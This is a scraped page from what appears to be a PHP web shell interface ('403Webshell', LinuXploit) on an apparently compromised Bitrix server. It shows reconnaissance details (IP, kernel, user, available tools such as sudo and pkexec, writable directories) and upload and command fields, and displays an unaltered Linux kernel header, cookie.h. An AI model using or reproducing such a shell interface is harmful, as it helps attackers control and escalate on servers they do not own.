403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/src/kernels/5.14.0-570.el9.x86_64/include/linux/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/src/kernels/5.14.0-570.el9.x86_64/include/linux/cookie.h
/* SPDX-License-Identifier: GPL-2.0 */
#ifndef __LINUX_COOKIE_H
#define __LINUX_COOKIE_H

#include <linux/atomic.h>
#include <linux/percpu.h>
#include <asm/local.h>

struct pcpu_gen_cookie {
	local_t nesting;
	u64 last;
} __aligned(16);

struct gen_cookie {
	struct pcpu_gen_cookie __percpu *local;
	atomic64_t forward_last ____cacheline_aligned_in_smp;
	atomic64_t reverse_last;
};

#define COOKIE_LOCAL_BATCH	4096

#define DEFINE_COOKIE(name)						\
	static DEFINE_PER_CPU(struct pcpu_gen_cookie, __##name);	\
	static struct gen_cookie name = {				\
		.local		= &__##name,				\
		.forward_last	= ATOMIC64_INIT(0),			\
		.reverse_last	= ATOMIC64_INIT(0),			\
	}

static __always_inline u64 gen_cookie_next(struct gen_cookie *gc)
{
	struct pcpu_gen_cookie *local = this_cpu_ptr(gc->local);
	u64 val;

	if (likely(local_inc_return(&local->nesting) == 1)) {
		val = local->last;
		if (__is_defined(CONFIG_SMP) &&
		    unlikely((val & (COOKIE_LOCAL_BATCH - 1)) == 0)) {
			s64 next = atomic64_add_return(COOKIE_LOCAL_BATCH,
						       &gc->forward_last);
			val = next - COOKIE_LOCAL_BATCH;
		}
		local->last = ++val;
	} else {
		val = atomic64_dec_return(&gc->reverse_last);
	}
	local_dec(&local->nesting);
	return val;
}

#endif /* __LINUX_COOKIE_H */

Youez - 2016 - github.com/yon3zu
LinuXploit